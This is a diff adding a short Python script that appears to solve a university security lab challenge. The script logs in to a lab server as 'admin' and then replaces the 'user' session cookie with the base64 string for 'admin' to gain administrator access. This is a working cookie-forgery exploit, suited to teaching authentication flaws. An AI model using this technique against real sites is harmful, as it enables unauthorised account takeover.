Lab2

pa/lab2/chall_secure.py

@@ -0,0 +1,22 @@
+from requests import Session
+
+BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25056"
+sesh = Session()
+
+resp = sesh.get(BASE+"/")
+content = resp.content.decode('utf-8')
+print(content)
+
+resp = sesh.post(BASE+"/", data={"username": "admin"})
+content = resp.content.decode('utf-8')
+print(content)
+print(sesh.cookies)
+
+for c in sesh.cookies:
+	if c.name == "user":
+		c.value = "YWRtaW4="
+
+resp = sesh.get(BASE+"/")
+content = resp.content.decode('utf-8')
+print(content)
+print(sesh.cookies)